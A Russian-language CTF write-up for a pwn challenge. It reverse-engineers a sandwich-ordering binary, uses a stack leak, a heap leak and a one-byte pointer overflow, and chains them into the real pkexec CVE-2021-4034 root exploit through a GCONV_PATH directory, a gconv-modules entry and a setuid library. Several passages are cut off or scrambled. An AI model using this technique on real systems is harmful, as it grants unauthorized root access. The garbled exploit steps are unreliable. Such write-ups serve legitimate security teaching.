
Это CTF-pwn задание, которое я написал на C, требующее от пользователя эксплуатации уязвимости CVE-2021-4034. Участникам выдаются 2 бинарных файла в каталоге challenge этого репозитория. Бинарник chal реализует задание CTF, а shelly.so — вспомогательный бинарник.
На момент написания этого райтапа Dockerfile ещё не завершён. Dockerfile требуется для развёртывания задания во время живого CTF, но не для локального запуска: вы всё ещё можете эмулировать это задание локально, настроив права пользователей и установив уязвимые пакеты следующим образом:
libpolkit-gobject-1-0=0.105-26ubuntu1 libpolkit-agent-1-0=0.105-26ubuntu1 policykit-1=0.105-26ubuntu1.flag.txt, принадлежащий root:root, в текущем каталоге.challenge в текущий каталог.chal от имени непривилегированного пользователя.Запуск бинарника chal даёт нам смутное представление о том, что делает этот бинарник:```
WELCOME TO THE HUB CTRL+ALT+DELICIOUS
We're not just a sandwich hub. We are the beacon of flavors, serving a symphony in every byte
Играя с размером ввода в функции `Add` и индексами функций `Cancel`, мы не получаем ничего особенного (ни переполнения, ни ошибки сегментации). Однако кое-что интересное:
- Похоже, заказы помещаются в список (возможно, связный список), и они индексируются с нуля?
- Здесь есть `Order number: 0x7ffde93681f0`, который, похоже, выводит какой-то адрес в стеке?
- Кроме того, программа создаёт каталог с именем нашего ввода, а также 3 исполняемых файла, один из которых — это вспомогательный бинарный файл, который нам дан:```sh
peasant@Tin-VM:~/Desktop$ ls
chal chal.c Dockerfile shelly.so solve.py tin
peasant@Tin-VM:~/Desktop$ ls -l tin/
total 28
-rwxrwx--- 1 peasant vboxsf 5 Feb 4 14:33 notes
-rwxrwx--- 1 peasant vboxsf 20 Feb 4 14:33 recipe
-rwxr-x--- 1 peasant vboxsf 16488 Feb 4 14:33 shelly.so
peasant@Tin-VM:~/Desktop$ cat tin/notes
0000
peasant@Tin-VM:~/Desktop$ cat tin/recipe
aaaa
bbbb
cccc
dddc
Исполняемые файлы содержат наш ввод.
Вы можете повозиться с другими функциями в надежде наткнуться на баги (что вполне вероятно), но я перейду к сути и открою программу в Ghidra.
Сравнивая строки, которые появляются при запуске программы, и строки, присутствующие в Ghidra, мы можем переименовать некоторые функции FUN_* в знакомые имена:```C
undefined8 main(void)
{ int iVar1; size_t sVar2; undefined2 *puVar3; long in_FS_OFFSET; int opt; int local_1c; char *local_18; long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28); local_18 = "/recipe"; print("WELCOME TO THE HUB CTRL+ALT+DELICIOUS\n"); print( "We're not just a sandwich hub. We are the beacon of flavors, serving a symphony in every by te\n\n" ); while( true ) { print("1. ENTER THE HUB\n"); print("2. QUIT\n"); __isoc99_scanf(&DAT_001030c5,&opt); getc(stdin); if (opt != 1) break; printf("Order number: %p\n",&local_18); print("Enter your name: "); __isoc99_scanf(&DAT_0010334f,&DAT_00105120); sVar2 = strlen(&DAT_00105120); puVar3 = (undefined2 *)malloc(sVar2 + 2); DAT_00105100 = puVar3; *puVar3 = 0x2f2e; *(undefined *)(puVar3 + 1) = 0; strcpy((char *)(DAT_00105100 + 1),&DAT_00105120); iVar1 = FUN_001022f0(DAT_00105100,&DAT_00105060); if (iVar1 == -1) { mkdir((char *)DAT_00105100,0x1c0); } DAT_00105140 = 0; order_cnt = 0; for (local_1c = 0; local_1c < 10; local_1c = local_1c + 1) { *(undefined8 *)(&ptr_array + (long)local_1c * 8) = 0; } main_menu(); } print("Come again :)\n");
`printf("Order number: %p\n",&local_18);` **выводит адрес локальной переменной в стеке.**
Быстрая проверка в gdb показывает, что утёкший адрес — это адрес указателя на константную строку `/recipe`:```gdb
...
Order number: 0x7fffffffdfc0
...
gef➤ x/gx 0x7fffffffdfc0
0x7fffffffdfc0: 0x0000555555559020
gef➤ x/s 0x0000555555559020
0x555555559020: "/recipe"
Мы видим вызов mkdir, который создаёт каталог с нашим введённым именем в текущей директории.
Это согласуется с тем, что мы наблюдали при запуске программы. Затем она инициализирует некоторые переменные перед вызовом функции main_menu, которая выглядит примерно так:```C
while( true ) {
while( true ) {
while( true ) {
while( true ) {
while( true ) {
while( true ) {
print("1. ADD NEW ORDER\n");
print("2. EDIT ORDER\n");
print("3. SHOW ORDER\n");
print("4. CANCEL ORDER\n");
print("5. CHECKOUT\n");
print("6. DONE\n");
__isoc99_scanf(&DAT_001030c5,&local_40);
getc(stdin);
if (local_40 != 1) break;
add_order();
}
if (local_40 != 2) break;
edit_order();
}
if (local_40 != 3) break;
show_order();
}
if (local_40 != 4) break;
cancel_order();
}
if (local_40 != 5) break;
checkout();
}
if (local_40 == 6) break;
if (local_40 == 0x539) {
print(
"\nGORDON RAMSAY: Finally, a worthy opponent, our battle will be legendary! I BET YOU CAN 'T GUESS THE SECRET RECIPE.\n"
);
fgets(inp,0x20,stdin);
getrandom(random-bytes,0x10,0);
for (local_3c = 0; local_3c < 0x10; local_3c = local_3c + 1) {
if (inp[local_3c] != random-bytes[local_3c]) {
print("...Nuh Uh!...\n");
/* WARNING: Subroutine does not return */
exit(0);
}
print("...Ooh Yes.. sCruMpTioUs...");
}
print("Fine... I'll give you a taste.\n");
FUN_00101504();
}
Если вы не знакомы с REV, это декомпиляция оператора `switch` на C. Есть один интересный вариант, также известный как `0x539`. Он позволяет игрокам угадать `0x10` случайных байт. Если все байты равны, то вызывается `FUN_00101504();`, которая вызывает `system("cat flag.txt");`. В противном случае программа завершается.
Однако брутфорс 16 случайных байт эквивалентен попытке перебрать все 256**16 = 340282366920938463463374607431768211456 возможных комбинаций. Удачи с этим, лол.
Даже если вы переберёте все комбинации, программа всё равно не имеет привилегий, поэтому не может прочитать флаг. Этот оператор `cat flag.txt` добавлен намеренно — не только чтобы обмануть неопытных игроков, заставив выбрать этот пункт меню `0x539`, но и чтобы помешать игрокам просто вызвать эту функцию для чтения флага, к чему мы ещё вернёмся позже.
***
## Add```C
int iVar1;
undefined8 *puVar2;
void *pvVar3;
undefined8 *ptr2;
if (order_cnt < 10) {
puVar2 = (undefined8 *)malloc(0x30);
print("Pick your bread: ");
readline(puVar2 + 1,8);
print("Select your spread: ");
readline(puVar2 + 2,8);
print("Choose your veg: ");
readline(puVar2 + 3,8);
print("Slam your meat & egg: ");
readline(puVar2 + 4,9);
iVar1 = order_cnt;
pvVar3 = malloc(0x30);
*(void **)(&ptr_array + (long)iVar1 * 8) = pvVar3;
*puVar2 = *(undefined8 *)(&ptr_array + (long)order_cnt * 8);
print("Any side notes for the cook? ");
readline(*puVar2,0x30);
puVar2[5] = 0;
if (DAT_00105140 != (undefined8 *)0x0) {
for (ptr2 = DAT_00105140; ptr2[5] != 0; ptr2 = (undefined8 *)ptr2[5]) {
}
ptr2[5] = puVar2;
puVar2 = DAT_00105140;
}
DAT_00105140 = puVar2;
order_cnt = order_cnt + 1;
}
...
Если некоторые переменные выглядят не очень читаемо для тебя, это потому, что я потратил время на их переименование — тебе тоже стоит так делать при реверс-инжиниринге, чтобы отслеживать всё происходящее. Ладно, перейдём к основным моментам:
puVar2 — это malloc-чанк размером 0x30.puVar3, длиной 8 байт, указывает на notes текущего чанка.puVar2[5] = 0; всё равно затирает наш 1-байтовый переполнение до NULL.DAT_00105140 == 0, мы просто устанавливаем её в новый чанк, так что это может быть указатель head для списка?... print("Enter order index: "); __isoc99_scanf(&DAT_001030c5,&local_20); getc(stdin); if ((local_20 < 0) || (order_cnt <= local_20)) { print("Invalid index!\n"); } else { local_18 = head; for (local_1c = 0; local_1c != local_20; local_1c = local_1c + 1) { local_18 = (undefined8 *)local_18[5]; } print("Pick your bread: "); readline(local_18 + 1,8); print("Select your spread: "); readline(local_18 + 2,8); print("Choose your veg: "); readline(local_18 + 3,8);WE print("Slam your meat & egg: "); readline(local_18 + 4,9); print("Any side notes for the cook? "); readline(*local_18,0x30); } ...
Есть проверка для нашего индекса ввода, поэтому мы не можем редактировать произвольные места.
**Однако 9-байтовое чтение в 4-м поле, которое переполняет 1 байт в 5-е поле, всё ещё есть!!! Мы можем перезаписать 1 байт в указатель `nxt`**
***```C
...
if (local_18 != (undefined8 *)0x0) {
printf("%s, %s, %s, %s, %s\n",local_18 + 1,local_18 + 2,local_18 + 3,local_18 + 4,*local_18);
}
...
%s будет выводить до нулевого символа, поэтому если наше 4-е поле имеет длину 8 байт, то 4-й %s выведет 4-е поле нашего чанка + значение указателя nxt в 5-th поле.
=> Мы получаем утечку heap!!!*
Здесь ничего интересного.
strcpy(local_d8,dir_name); sVar2 = strlen(dir_name); strcpy(local_d8 + sVar2,"/recipe"); creat(local_d8,0x1c0); iVar1 = open(local_d8,2); if (iVar1 == -1) { print("Error opening file f.\n"); /* WARNING: Subroutine does not return / exit(0); } chmod(local_d8,0x1f8); strcpy(local_98,dir_name); sVar2 = strlen(dir_name); strcpy(local_98 + sVar2,"/notes"); printf("%s %s\n","/notes",local_98); creat(local_98,0x1c0); __fd = open(local_98,2); if (__fd == -1) { print("Error opening file f_notes.\n"); / WARNING: Subroutine does not return */ exit(0); } chmod(local_98,0x1f8);
Таким образом, он создаёт файлы `recipe` и `notes` в каталоге, названном по нашему входному значению. Операторы `chmod` устанавливают для этих файлов исполняемый режим: `0x1f8` и `0x1c0` — это `0700` и `0770` в восьмеричной системе соответственно.```C
...
for (local_ec = 0; (local_e0 != (char **)0x0 && (local_ec < order_cnt)); local_ec = local_ec + 1)
{
sVar2 = strlen((char *)(local_e0 + 1));
write(iVar1,local_e0 + 1,sVar2);
write(iVar1,&DAT_00103127,1);
sVar2 = strlen((char *)(local_e0 + 2));
write(iVar1,local_e0 + 2,sVar2);
write(iVar1,&DAT_00103127,1);
sVar2 = strlen((char *)(local_e0 + 3));
write(iVar1,local_e0 + 3,sVar2);
write(iVar1,&DAT_00103127,1);
sVar2 = strlen((char *)(local_e0 + 1));
write(iVar1,local_e0 + 4,sVar2);
write(iVar1,&DAT_00103127,1);
sVar2 = strlen(*local_e0);
write(__fd,*local_e0,sVar2);
write(__fd,&DAT_00103127,1);
local_e0 = (char **)local_e0[5];
}
iVar1 = close(iVar1);
if (-1 < iVar1) {
iVar1 = close(__fd);
if (-1 < iVar1) {
local_58 = 0x2f706d742f207063;
local_50 = 0x732e796c6c656873;
local_48 = 0x206f;
local_40 = 0;
local_38 = 0;
local_30 = 0;
local_28 = 0;
local_20 = 0;
strcpy((char *)((long)&local_48 + 2),dir_name);
system((char *)&local_58);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
}
...
Этот огромный запутанный блок кода, по сути, записывает содержимое наших чанков в эти файлы, а затем выполняет команду cp /tmp/shelly.so dir_name, где dir_name — это имя, которое мы задаём программе в начале.
void FUN_00101e84(void)
{ long in_FS_OFFSET; char *local_18; long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28); puts("HOLD UP, LET HIM COOK."); local_18 = (char *)0x0; execve("/usr/bin/pkexec",&local_18,(char **)&ptr_array); if (local_10 != *(long )(in_FS_OFFSET + 0x28)) { / WARNING: Subroutine does not return */ __stack_chk_fail(); } return; }
Это интересная функция. Она вызывает `pkexec` с `NULL argv` и указателем на массив `notes` в качестве переменных окружения, что и является уязвимой командой в нашей CVE-2021-4034. Означает ли это, что нам нужно сформировать наши `notes` и каким-то образом перенаправить выполнение на эту функцию?
***
## shelly.so
Открыв это в Ghidra, мы увидим, что это, очевидно, библиотека `set-UID-root`, похожая на те, что используются в эксплойте для CVE.
***
# Сводка
Некоторые ключевые моменты:
1. В начале программы у нас есть утечка стека (номер заказа), которая содержит адрес константной строки `/recipe`, используемой при создании файла `recipe`.
2. 0-е поле чанка — это указатель на его `notes`.
3. 5-е поле чанка — это указатель `nxt` на следующий чанк в связном списке.
4. `Show` может раскрыть heap-адрес, который является 5-м полем чанка.
5. `Edit` может перезаписать 1 байт в 5-м поле. **ЭТО ЕДИНСТВЕННАЯ ОШИБКА ПРОИЗВОЛЬНОЙ ЗАПИСИ!!**
6. `FUN_00101e84` вызывает `pkexec` с NULL argv и переменными окружения, которые мы контролируем (массив `notes`).
***
# Эксплуатация
## Компоновка heap-чанка
Быстрая проверка в gdb может показать нам смещение между разными чанками в нашей программе:```gdb
...
Pick your bread: aaaa
Select your spread: a
Choose your veg: a
Slam your meat & egg: a
Any side notes for the cook? 0000
1. ADD NEW ORDER
2. EDIT ORDER
3. SHOW ORDER
4. CANCEL ORDER
5. CHECKOUT
6. DONE
1
Pick your bread: bbbb
Select your spread: b
Choose your veg: b
Slam your meat & egg: b
Any side notes for the cook? 1111
...
gef➤ search-pattern aaaa
[+] Searching 'aaaa' in memory
[+] In '[heap]'(0x55555555a000-0x55555557b000), permission=rw-
0x55555555aae8 - 0x55555555aaec → "aaaa"
gef➤ x/30gx 0x55555555aae8-0x18
0x55555555aad0: 0x0000000000000000 0x0000000000000041
0x55555555aae0: 0x000055555555ab20 0x0000000061616161
0x55555555aaf0: 0x0000000000000061 0x0000000000000061
0x55555555ab00: 0x0000000000000061 0x000055555555ab60
0x55555555ab10: 0x0000000000000000 0x0000000000000041
0x55555555ab20: 0x0000000030303030 0x0000000000000000
0x55555555ab30: 0x0000000000000000 0x0000000000000000
0x55555555ab40: 0x0000000000000000 0x0000000000000000
0x55555555ab50: 0x0000000000000000 0x0000000000000041
0x55555555ab60: 0x000055555555aba0 0x0000000062626262
0x55555555ab70: 0x0000000000000062 0x0000000000000062
0x55555555ab80: 0x0000000000000062 0x0000000000000000
0x55555555ab90: 0x0000000000000000 0x0000000000000041
0x55555555aba0: 0x0000000031313131 0x0000000000000000
0x55555555abb0: 0x0000000000000000 0x0000000000000000
Итак, размер чанков равен 0x40 (включая 0x10 байт метаданных), и они разделены (от начала текущего чанка до начала следующего) смещением 0x40+0x40 = 0x80. Это потому, что notes выделяются при каждом выделении чанка, поэтому они всегда попадают между соседними чанками.
Прежде чем перейти к эксплойту, как мы можем использовать 1-байтовые переполнения для записи по произвольному адресу? Мы можем использовать следующую стратегию:
nxt второго чанка (второй пункт в разделе Summary).
C.B = C-0x80.B будет x.x + 8, записав его в 5-е поле текущего чанка. Результирующий указатель nxt будет равен B + 8.
A = 0x55555555aae0, утёкший адрес будет B = 0x55555555ab60, а x = 0xe8.A по адресу 0x55555555ab08 значением , результирующий указатель будет , а это не то, что нам нужно.Существует способ перейти к этой функции, но я не буду его обсуждать. Но прежде чем попробовать это, взгляните на Dockerfile. Замечаете что-нибудь насчёт flag.txt?```
...
chown root:root /home/ctf/flag.txt
...
USER peasant
CMD ["/home/ctf/start.sh"]
***ФАЙЛ ПРИНАДЛЕЖИТ ROOT, В ТО ВРЕМЯ КАК ПРОГРАММА ЗАПУСКАЕТСЯ И ПРИНАДЛЕЖИТ НЕПРИВИЛЕГИРОВАННОМУ ПОЛЬЗОВАТЕЛЮ***.
Поэтому даже если вы выполните `cat flag.txt`, флаг не выведется, потому что у программы нет прав на доступ к файлу. Это означает, что нам нужно повысить привилегии до root, чтобы прочитать флаг.
## 2-й способ — CVE-2021-4034
Для эксплуатации CVE-2021-4034 нам нужна следующая настройка:
1. Каталог с именем `GCONV_PATH=.`
2. В этом каталоге нам нужен исполняемый файл, имя которого совпадает с именем каталога, где будет находиться наш конфигурационный файл `gconv-modules`. Пусть это будет `recipe` в нашем задании.
3. В каталоге `recipe` нам нужен файл с именем `gconv-modules` с содержимым, которые мы контролируем, и динамическая библиотека, которая запустит нам шелл (возможно, это данная бинарная библиотека `shelly.so`)?
4. Затем в нашем `gconv-modules` нам нужно указать ту же CHARSET, что и в шаге 5 ниже, и имя нашей динамической библиотеки `shelly.so` так: `module UTF-8// SHELLY// shelly 2`.
5. После всего этого мы вызываем `pkexec` с NULL argv и сформированным массивом переменных окружения = `{"recipe", "PATH=GCONV_PATH=.", "CHARSET=SHELLY", "SHELL=shelly", NULL}`.
Теперь мы эксплуатируем это задание, чтобы получить описанную выше настройку.
***
### Цели 1-2
Шаги 1-2 простые: нам нужно лишь войти под именем пользователя `GCONV_PATH=.`, чтобы создать этот каталог. Затем мы делаем `checkout`, чтобы создать исполняемый файл `recipe` в этом каталоге. После этого возвращаемся в первое меню.
***
### Цели 3-4
Мы входим под именем пользователя `recipe`, чтобы создать этот каталог. Теперь нам *нужно* создать файл с именем `gconv-modules`, но `checkout` создаёт только файлы `recipe` и `notes`.
Что если мы перезапишем область памяти для строки `/notes`, чтобы она стала `/gconv-modules`? Это может сработать, но требует, чтобы эта память была доступна для записи. Проверим это в gdb:```gdb
gef➤ search-pattern /notes
[+] Searching '/notes' in memory
[+] In '/home/peasant/Desktop/chal'(0x555555559000-0x55555555a000), permission=rw-
0x555555559010 - 0x555555559016 → "/notes"
И он доступен для записи!
Как мы выполняем запись?
/recipe./recipe до /notes равно 0x10. Вычтите это из адреса /recipe, полученного на шаге 1, чтобы получить адрес /notes./notes на /gconv-modules.Что касается записи правильного содержимого в файл gconv-modules, мы знаем, что при checkout содержимое notes чанков будет записано в /notes, который теперь является /gconv-modules. Чтобы быть уверенными, мы можем просто передать строку module UTF-8// SHELLY// shelly 2 в каждый notes.
Итак, теперь, когда мы вызываем checkout, он создаст 2 файла recipe и gconv-modules и запишет несколько строк module UTF-8// SHELLY// shelly 2 (мы используем shelly, потому что так называется переданная библиотека .so с установленным set-uid-root) в файл gconv-modules. Он также скопирует shelly.so в ту же директорию.
notes содержат соответствующие переменные окружения. Массив указателей notes будет содержать 4 указателя на эти 4 notes и завершающий NULL-указатель, что именно нам и нужно.RIP функции main на нашу секретную функцию FUN_00101e84.
RIP? Помните утёкший адрес стека в начале программы? Зайдите в gdb, чтобы выяснить его смещение до RIP, затем прибавьте это смещение к фактическому утёкшему адресу, чтобы получить RIP.main? Помните утёкший адрес /recipe из шага 2 цели 3-4? Сделайте то же самое здесь!Скрипт решения с комментариями предоставлен в этом репозитории. Не стесняйтесь обращаться ко мне, если у вас есть вопросы :)
xnxt0x55555555**ab**e8 != 0x55555555**aa**e8B + 8, а не C. Отредактируем чанк B так, чтобы его 1-е поле (bread) содержало целевой адрес target, в который мы хотим писать.B + 8. Указатель notes этого 3-го чанка — это target! Так что всё, что мы записываем в notes, будет записано в target!